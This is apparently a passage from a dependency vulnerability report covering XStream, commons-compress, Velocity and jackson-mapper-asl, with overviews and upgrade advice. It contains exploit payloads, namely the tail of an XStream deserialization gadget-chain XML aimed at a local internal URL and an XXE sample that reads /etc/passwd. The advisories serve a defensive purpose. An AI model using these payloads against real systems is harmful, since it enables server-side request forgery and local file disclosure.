                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <url>http://localhost:8080/internal/</url>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Infinite loop due to the improper handling of certain inputs during the parsing of dump files. An attacker can cause the application to enter an infinite loop by supplying crafted inputs.

Remediation

Upgrade org.apache.commons:commons-compress to version 1.26.0 or higher.

References

• Apache Lists
• GitHub Commit

Overview

org.apache.velocity:velocity is a None

Affected versions of this package are vulnerable to Arbitrary Code Execution. An attacker that is able to modify Velocity templates may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running the Servlet container. This applies to applications that allow untrusted users to upload/modify velocity templates running Apache Velocity Engine.

Note Users of org.apache.velocity:velocity should update to org.apache.velocity:velocity-engine-core version 2.3 to mitigate this vulnerability.

Remediation

There is no fixed version for org.apache.velocity:velocity.

References

• Apache Security Advisory

• GitHub PR

• GitHub Security Labs

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation,

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.19 or higher.

References

• GitHub Commit
• XStream Advisory

Overview

org.codehaus.jackson:jackson-mapper-asl is a high-performance data binding package built on Jackson JSON processor.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. via the DOMDeserializer.class file and its inner classes (DocumentDeserializer.class and NodeDeserializer.class) that uses the _parserFactory instance without restricting it from processing external XML entities when parsing user input.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

There is no fixed version for org.codehaus.jackson:jackson-mapper-asl.

For org.codehaus.jackson:jackson-all releases supporting jackson-mapper-asl. As a workaround, for 1.9.X release, the javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING setting can be enabled. For 2.x releases, the "javax.xml.stream.isSupportingExternalEntities setting can be set to FALSE.

References

• CVE-2019-10172 Remediation for Jackson Databind

• RedHat Bugzilla Bug

• StackOverflow CVE-2016-3720 Remediation - jackson-all